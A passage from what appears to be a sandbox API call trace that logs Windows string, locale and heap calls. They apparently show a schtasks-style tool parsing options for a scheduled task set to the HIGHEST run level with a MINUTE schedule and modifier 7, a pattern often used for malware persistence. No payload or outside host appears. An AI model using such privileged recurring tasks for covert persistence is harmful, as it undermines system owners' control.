_Buffer="|s|") returned 3 [0109.870] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|f|") returned 3 [0109.870] lstrlenW (lpString="|s|") returned 3 [0109.870] lstrlenW (lpString="|f|") returned 3 [0109.870] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0109.870] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.870] lstrlenW (lpString="u") returned 1 [0109.870] lstrlenW (lpString="u") returned 1 [0109.870] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.870] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.870] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|u|") returned 3 [0109.870] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|f|") returned 3 [0109.870] lstrlenW (lpString="|u|") returned 3 [0109.870] lstrlenW (lpString="|f|") returned 3 [0109.870] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0109.870] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.870] lstrlenW (lpString="p") returned 1 [0109.870] lstrlenW (lpString="p") returned 1 [0109.870] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.870] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.870] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|p|") returned 3 [0109.871] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|f|") returned 3 [0109.871] lstrlenW (lpString="|p|") returned 3 [0109.871] lstrlenW (lpString="|f|") returned 3 [0109.871] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0109.871] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.871] lstrlenW (lpString="ru") returned 2 [0109.871] lstrlenW (lpString="ru") returned 2 [0109.871] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.871] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.871] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|ru|") returned 4 [0109.871] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|f|") returned 3 [0109.871] lstrlenW (lpString="|ru|") returned 4 [0109.871] lstrlenW (lpString="|f|") returned 3 [0109.871] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0109.871] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.871] lstrlenW (lpString="rp") returned 2 [0109.871] lstrlenW (lpString="rp") returned 2 [0109.871] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.871] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.946] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|rp|") returned 4 [0109.946] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|f|") returned 3 [0109.946] lstrlenW (lpString="|rp|") returned 4 [0109.946] lstrlenW (lpString="|f|") returned 3 [0109.946] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0109.946] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.946] lstrlenW (lpString="sc") returned 2 [0109.946] lstrlenW (lpString="sc") returned 2 [0109.946] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.946] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.946] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|sc|") returned 4 [0109.946] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|f|") returned 3 [0109.946] lstrlenW (lpString="|sc|") returned 4 [0109.946] lstrlenW (lpString="|f|") returned 3 [0109.946] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0109.946] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.946] lstrlenW (lpString="mo") returned 2 [0109.947] lstrlenW (lpString="mo") returned 2 [0109.947] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.947] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.947] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|mo|") returned 4 [0109.947] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|f|") returned 3 [0109.947] lstrlenW (lpString="|mo|") returned 4 [0109.947] lstrlenW (lpString="|f|") returned 3 [0109.947] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0109.947] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.947] lstrlenW (lpString="d") returned 1 [0109.947] lstrlenW (lpString="d") returned 1 [0109.947] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.947] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.947] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|d|") returned 3 [0109.947] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|f|") returned 3 [0109.947] lstrlenW (lpString="|d|") returned 3 [0109.947] lstrlenW (lpString="|f|") returned 3 [0109.947] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0109.947] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.947] lstrlenW (lpString="m") returned 1 [0109.947] lstrlenW (lpString="m") returned 1 [0109.947] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.947] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.948] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|m|") returned 3 [0109.948] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|f|") returned 3 [0109.948] lstrlenW (lpString="|m|") returned 3 [0109.948] lstrlenW (lpString="|f|") returned 3 [0109.948] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0109.948] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.948] lstrlenW (lpString="i") returned 1 [0109.948] lstrlenW (lpString="i") returned 1 [0109.948] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.948] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.948] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|i|") returned 3 [0109.948] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|f|") returned 3 [0109.948] lstrlenW (lpString="|i|") returned 3 [0109.948] lstrlenW (lpString="|f|") returned 3 [0109.948] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0109.948] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.948] lstrlenW (lpString="tn") returned 2 [0109.948] lstrlenW (lpString="tn") returned 2 [0109.948] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.948] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.948] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|tn|") returned 4 [0109.948] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|f|") returned 3 [0109.948] lstrlenW (lpString="|tn|") returned 4 [0109.948] lstrlenW (lpString="|f|") returned 3 [0109.948] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0109.948] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.948] lstrlenW (lpString="tr") returned 2 [0109.948] lstrlenW (lpString="tr") returned 2 [0109.948] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.949] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.949] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|tr|") returned 4 [0109.949] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|f|") returned 3 [0109.949] lstrlenW (lpString="|tr|") returned 4 [0109.949] lstrlenW (lpString="|f|") returned 3 [0109.949] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0109.949] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.949] lstrlenW (lpString="st") returned 2 [0109.949] lstrlenW (lpString="st") returned 2 [0109.949] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.949] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.949] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|st|") returned 4 [0109.949] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|f|") returned 3 [0109.949] lstrlenW (lpString="|st|") returned 4 [0109.949] lstrlenW (lpString="|f|") returned 3 [0109.949] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0109.949] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.949] lstrlenW (lpString="sd") returned 2 [0109.949] lstrlenW (lpString="sd") returned 2 [0109.949] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.949] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.950] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|sd|") returned 4 [0109.950] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|f|") returned 3 [0109.950] lstrlenW (lpString="|sd|") returned 4 [0109.950] lstrlenW (lpString="|f|") returned 3 [0109.950] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0109.950] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.950] lstrlenW (lpString="ed") returned 2 [0109.950] lstrlenW (lpString="ed") returned 2 [0109.950] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.950] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.950] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|ed|") returned 4 [0109.950] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|f|") returned 3 [0109.950] lstrlenW (lpString="|ed|") returned 4 [0109.950] lstrlenW (lpString="|f|") returned 3 [0109.950] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0109.950] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.950] lstrlenW (lpString="it") returned 2 [0109.950] lstrlenW (lpString="it") returned 2 [0109.950] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.950] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.950] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|it|") returned 4 [0109.950] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|f|") returned 3 [0109.951] lstrlenW (lpString="|it|") returned 4 [0109.953] lstrlenW (lpString="|f|") returned 3 [0109.953] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0109.953] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.953] lstrlenW (lpString="et") returned 2 [0109.953] lstrlenW (lpString="et") returned 2 [0109.953] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.953] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.954] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|et|") returned 4 [0109.954] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|f|") returned 3 [0109.954] lstrlenW (lpString="|et|") returned 4 [0109.954] lstrlenW (lpString="|f|") returned 3 [0109.954] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0109.954] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.954] lstrlenW (lpString="k") returned 1 [0109.954] lstrlenW (lpString="k") returned 1 [0109.954] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.954] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.954] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|k|") returned 3 [0109.954] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|f|") returned 3 [0109.954] lstrlenW (lpString="|k|") returned 3 [0109.954] lstrlenW (lpString="|f|") returned 3 [0109.954] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0109.954] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.954] lstrlenW (lpString="du") returned 2 [0109.954] lstrlenW (lpString="du") returned 2 [0109.954] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.954] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.954] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|du|") returned 4 [0109.954] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|f|") returned 3 [0109.954] lstrlenW (lpString="|du|") returned 4 [0109.954] lstrlenW (lpString="|f|") returned 3 [0109.954] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0109.954] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.954] lstrlenW (lpString="ri") returned 2 [0109.955] lstrlenW (lpString="ri") returned 2 [0109.955] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.955] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.955] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|ri|") returned 4 [0109.955] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|f|") returned 3 [0109.955] lstrlenW (lpString="|ri|") returned 4 [0109.955] lstrlenW (lpString="|f|") returned 3 [0109.955] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0109.955] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.955] lstrlenW (lpString="z") returned 1 [0109.955] lstrlenW (lpString="z") returned 1 [0109.955] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.955] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.955] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|z|") returned 3 [0109.955] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|f|") returned 3 [0109.955] lstrlenW (lpString="|z|") returned 3 [0109.955] lstrlenW (lpString="|f|") returned 3 [0109.955] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0109.955] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.955] lstrlenW (lpString="f") returned 1 [0109.955] lstrlenW (lpString="f") returned 1 [0109.956] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.956] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.956] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|f|") returned 3 [0109.956] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828c758 | out: _Buffer="|f|") returned 3 [0109.956] lstrlenW (lpString="|f|") returned 3 [0109.956] lstrlenW (lpString="|f|") returned 3 [0109.956] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0109.956] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.956] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.956] GetProcessHeap () returned 0x1ed3df50000 [0109.956] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df5b630 [0109.956] _memicmp (_Buf1=0x1ed3df54820, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.956] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x1ed3df5bb50, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0109.956] lstrlenW (lpString="LIMITED") returned 7 [0109.956] GetProcessHeap () returned 0x1ed3df50000 [0109.956] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x10) returned 0x1ed3df5aad0 [0109.956] GetThreadLocale () returned 0x409 [0109.956] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0109.956] GetProcessHeap () returned 0x1ed3df50000 [0109.956] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df5b3c0 [0109.956] _memicmp (_Buf1=0x1ed3df54820, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.956] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x1ed3df5bb50, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0109.957] lstrlenW (lpString="HIGHEST") returned 7 [0109.957] GetProcessHeap () returned 0x1ed3df50000 [0109.957] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x10) returned 0x1ed3df5a970 [0109.957] GetThreadLocale () returned 0x409 [0109.957] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0109.957] GetProcessHeap () returned 0x1ed3df50000 [0109.957] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df5b8a0 [0109.957] _memicmp (_Buf1=0x1ed3df54820, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.957] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x1ed3df5bb50, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0109.957] lstrlenW (lpString="MINUTE") returned 6 [0109.957] GetProcessHeap () returned 0x1ed3df50000 [0109.957] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0xe) returned 0x1ed3df5a930 [0109.957] GetThreadLocale () returned 0x409 [0109.957] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0109.957] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.957] GetProcessHeap () returned 0x1ed3df50000 [0109.957] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x1fc) returned 0x1ed3df5ac90 [0109.957] GetProcessHeap () returned 0x1ed3df50000 [0109.957] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df5bb10 [0109.957] _memicmp (_Buf1=0x1ed3df54820, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.958] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1ed3df5bb50, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0109.958] lstrlenW (lpString="First") returned 5 [0109.958] GetProcessHeap () returned 0x1ed3df50000 [0109.958] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0xc) returned 0x1ed3df5ac10 [0109.958] GetProcessHeap () returned 0x1ed3df50000 [0109.958] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df5b570 [0109.958] _memicmp (_Buf1=0x1ed3df54820, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.958] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1ed3df5bb50, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0109.958] lstrlenW (lpString="Second") returned 6 [0109.958] GetProcessHeap () returned 0x1ed3df50000 [0109.958] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0xe) returned 0x1ed3df5a950 [0109.958] GetProcessHeap () returned 0x1ed3df50000 [0109.958] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df5b600 [0109.958] _memicmp (_Buf1=0x1ed3df54820, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.958] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1ed3df5bb50, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0109.958] lstrlenW (lpString="Third") returned 5 [0109.958] GetProcessHeap () returned 0x1ed3df50000 [0109.958] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0xc) returned 0x1ed3df5ac30 [0109.958] GetProcessHeap () returned 0x1ed3df50000 [0109.958] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df5b660 [0109.958] _memicmp (_Buf1=0x1ed3df54820, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.958] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1ed3df5bb50, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0109.959] lstrlenW (lpString="Fourth") returned 6 [0109.959] GetProcessHeap () returned 0x1ed3df50000 [0109.959] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0xe) returned 0x1ed3df5aaf0 [0109.959] _memicmp (_Buf1=0x1ed3df54820, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.959] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1ed3df5bb50, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0109.959] lstrlenW (lpString="Last") returned 4 [0109.959] GetProcessHeap () returned 0x1ed3df50000 [0109.959] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0xa) returned 0x1ed3df5a8d0 [0109.959] lstrlenW (lpString="7") returned 1 [0109.959] _wtol (_String="7") returned 7 [0109.959] _memicmp (_Buf1=0x1ed3df54820, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.959] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1ed3df5bb50, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0109.959] lstrlenW (lpString="First") returned 5 [0109.959] _memicmp (_Buf1=0x1ed3df54820, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.959] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1ed3df5bb50, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0109.959] lstrlenW (lpString="Second") returned 6 [0109.959] _memicmp (_Buf1=0x1ed3df54820, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.959] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1ed3df5bb50, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0109.959] lstrlenW (lpString="Third") returned 5 [0109.959] _memicmp (_Buf1=0x1ed3df54820, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.959] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1ed3df5bb50, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0109.959] lstrlenW (lpString="Fourth") returned 6 [0109.960] _memicmp (_Buf1=0x1ed3df54820, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.960] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1ed3df5bb50, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0109.960] lstrlenW (lpString="Last") returned 4 [0109.960] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x1d6828c5b0, cchData=128 | out: lpLCData="0") returned 2 [0109.960] _memicmp (_Buf1=0x1ed3df54820, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.960] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1ed3df5bb50, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0109.960] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0109.960] GetProcessHeap () returned 0x1ed3df50000 [0109.960] GetProcessHeap () returned 0x1ed3df50000 [0109.960] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5ac10) returned 1 [0109.960] GetProcessHeap () returned 0x1ed3df50000 [0109.960] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5ac10) returned 0xc [0109.960] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5ac10) returned 1 [0109.960] GetProcessHeap () returned 0x1ed3df50000 [0109.960] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x16) returned 0x1ed3df5a8f0 [0109.960] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x1d6828c5d0, cchData=128 | out: lpLCData="0") returned 2 [0109.961] _memicmp (_Buf1=0x1ed3df54820, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.961] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1ed3df5bb50, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0109.961] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0109.961] GetProcessHeap () returned 0x1ed3df50000 [0109.961] GetProcessHeap () returned 0x1ed3df50000 